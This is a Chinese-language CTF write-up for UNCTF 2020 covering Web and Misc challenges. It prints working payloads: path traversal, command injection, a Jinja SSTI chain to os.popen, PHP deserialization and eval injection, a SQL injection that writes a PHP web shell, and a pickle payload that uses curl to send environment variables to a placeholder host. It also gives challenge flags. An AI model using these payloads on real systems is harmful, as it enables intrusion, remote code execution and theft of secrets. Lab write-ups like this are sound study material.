UNCTF 2020

Web

easy_ssrf

简单的目录穿越,构造 ?url=/unctf.com/../flag 即可得到 flag。

image-20201115205450581

1
FLAG{78ef5928-3393-4b23-a9ca-de433e161c3a}

babyeval

根据提示,可以知道 flag 在 flag.php 中。题目过滤了括号,根据 PHP 的特性整点反引号,再用 od 来输出以绕过字符的检测,构造 ?a=echo `od -A d -c f???.???`; 可以得到 flag。

image-20201115210404436

1
FLAG{0b8654d3-3a70-4549-bf90-ef9b58d8cfef}

UN’s_online_tools

bash 指令的堆叠,过滤了一些字符,使用 %0a 作为指令分割,%09 作为指令中的分隔,构造 ?url=1.1.1.1%0aod%09-A%09d%09-c%09/f???%0a 即可得到 flag。

image-20201115211301682

1
FLAG{d0faa519-cb49-404a-a99b-891d37c5690d}

easyflask

/register 路由下注册用户名为 admin 的用户后在 /login 下登录,回到首页后可以得到 admin login success and check the secret route /secret_route_you_do_not_know

定位到提示的路由,发现一个 guess 参数,发现存在 SSTI。继续尝试发现很多字符被 ban 了,于是尝试 attr 绕过。以 {{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} 范本,构造 attr 绕过参数,得到如下结果。

1
2
3
4
5
6
7
8
9
?guess={{(config|attr(request.args.param)|attr(request.args.param1)|attr(request.args.param2)|attr(request.args.param3)(request.args.param4)|attr(request.args.param5)(request.args.param6)|attr(request.args.param7)())}}
&param=__class__
&param1=__init__
&param2=__globals__
&param3=__getitem__
&param4=os
&param5=popen
&param6=ls
&param7=read

得到 __pycache__ app.py flag.txt templates error!! 的回显,可知 flag 在当前目录下,继续构造 cat flag.txt 得到 flag。

1
FLAG{f1065588-34fc-4817-809d-753b58da3321}

ezphp

字符串和 bool 的 true弱比较的时候相等,配合反序列化控制变量。构造出 payload 如下。

1
2
3
4
5
<?php
echo serialize(array(
"username"=> true,
"password" => true
));

得到 a:2:{s:8:"username";b:1;s:8:"password";b:1;}。将其以 POST 的方式作为参数 data 传送,即可得到 flag。

image-20201115221423513

1
FLAG{40371f04-6f0f-4eb9-8768-85e503928711}

easyunserialize

反序列化字符逃逸,关键在于 return str_replace('challenge', 'easychallenge', $string); 的少变多的操作,可以在序列化字符串末尾拼接逃逸。计算逃逸字符数并构造 payload 如下。

1
2
<?php
echo filter(serialize(new a("LemonPrefectchallengechallengechallengechallengechallengechallengechallengechallenge\";s:8:\"password\";s:4:\"easy\";}nox", "easy")));

得到 O:1:"a":2:{s:5:"uname";s:116:"LemonPrefecteasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge";s:8:"password";s:4:"easy";}nox";s:8:"password";s:4:"easy";},将其中需要填入的参数取出,构造得 ?1=LemonPrefecteasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallengeeasychallenge";s:8:"password";s:4:"easy";}nox。将构造所得参数作为 GET 参数发起请求即可得到 flag。

image-20201115223022446

1
FLAG{78cae2f3-89df-4ae3-a63c-23ef9efa0383}

easyphp

查看 response header 中的 X-Powered-By: PHP/7.4.5, 查阅手册可知代码中部分函数已经被停用,进而简化代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
function getVars()
{
$totals = array_merge($_GET, $_POST);
if (count($_GET)) {
foreach ($_GET as $key => $value) {
global ${$key};
if (is_array($value)) {
$temp_array = array();
foreach ($value as $key2 => $value2) {
$temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
}
${$key} = $_GET[$key] = $temp_array;
} else {
${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
}
}
}
}


getVars();
highlight_file(__FILE__);

//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
echo 'you can set config variables!!' . '</br>';
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
echo strlen(($GLOBALS[$key]));
echo "\$$key" . '="' . $GLOBALS[$key] . '";';
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
} else {
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key)) {
echo ($GLOBALS[$key]) . '</br>';
}
}
}

审计可知所有请求变量会被设置至全局,同时所有单引号和双引号均会被加上反斜杠以转义。设置环境变量的地方进行了简单的 md5 和 sha1 验证,同时对参数长度和名称做出限定。

adminPassword 可以直接利用变量的全局设定轻松覆盖,因此得到password=LemonPrefect&adminPassword=7f41a8661986fdd34d63d4cdde2249c5。查阅资料可知,0e01000111101111110010010010000001001001 的 sha1 仍然为 0e 开头,进而达成 0 == 0 的比较。利用一个全局变量加一个将被拼接执行的变量 var1 即可达成查看 phpinfo。同时,var1 需要配合语句的闭合。因此,构造 var1=\";$b();?>b=phpinfo

整理上述参数,得到 payload。

1
2
3
4
5
?password=LemonPrefect
&adminPassword=7f41a8661986fdd34d63d4cdde2249c5
&verif=0e01000111101111110010010010000001001001
&b=phpinfo
&var1=\";$b();?>

将上述参数构造请求发送即可得到 phpinfo,在其中可以找到 flag。

image-20201115225456544

1
FLAG{720731af-7dc9-45fa-b252-a82cc4601de9}

checkin-sql

看起来很像人畜无害的随便注,然而随便注的三种套路都不行。关键在于 PREPARE 与十六进制的配合。 PREPARE 可以构造出 prepare d from 0x73656c6563742f2a2a2f223c3f70687020406576616c28245f504f53545b615d293b203f3e2220696e746f206f757466696c6520272f7661722f7777772f68746d6c2f612e70687027;execute d; 这样的语句来写入一个文件,从而直接 getshell。

1
2
0x73656c6563742f2a2a2f223c3f70687020406576616c28245f504f53545b615d293b203f3e2220696e746f206f757466696c6520272f7661722f7777772f68746d6c2f612e70687027
=> select/**/"<?php @eval($_POST[a]); ?>" into outfile '/var/www/html/a.php'

getshell 之后直接构造 system("cat /flag"); 可得 flag。

easy_flask2

pickle 反序列化 参考

https://xz.aliyun.com/t/7436

/source 路由读取源码,可以发现 flag 存放在环境变量中。同时发现可控的 pickle 反序列化点,简单过滤了 R

1
2
3
4
if session.get('name'):
if b'R' in base64.b64decode(request.cookies['pkl']):
return "RCE??"
person = pickle.loads(base64.b64decode(request.cookies['pkl']))

从参考处获取不含 R 的 payload,因为没有回显,所以构造一个 curl 请求来从服务端使用 nc 监听来获取文件内容。

1
2
3
4
b'''(S'curl  -F "filename=@/proc/self/environ" YOUR_HOST'
ios
system
.'''

按照题目的方式,在登陆后定向到 /login 路由后,将 payload base64 编码后设置到 pkl cookie。刷新页面,即可在监听处获取到环境变量的内容,其中包含 flag。

image-20201115230937913

1
FLAG{a1b56cec-8b90-4e22-a8e1-98069088bb13}

Misc

阴阳人编码

就这 不会吧 都替换成 Ook 并整理符号后得到如下文本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook.
Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook.
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook?
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook?
Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook.
Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.
Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!
Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook?
Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook.
Ook? Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook. Ook? Ook.

将其解码后得到 flag。

1
flag{9_zhe_Jiu_zhe_8_hui_8}

YLB’s CAPTCHA - 签到题

验证码图片截下来,PS 调整色阶到能看得很清的程度,然后输入验证码,积累十个正确提交得到 flag。

image-20201115233514388

image-20201115233125644

1
UNCTF{cc95bcb8-f09e-4134-82d2-cb4446d5d93f}

baba_is_you

010editor 打开文件,发现其尾部有一个链接。

image-20201115232547446

访问链接,在 B 站评论区找到 flag。

1
unctf{let's_study_pwn}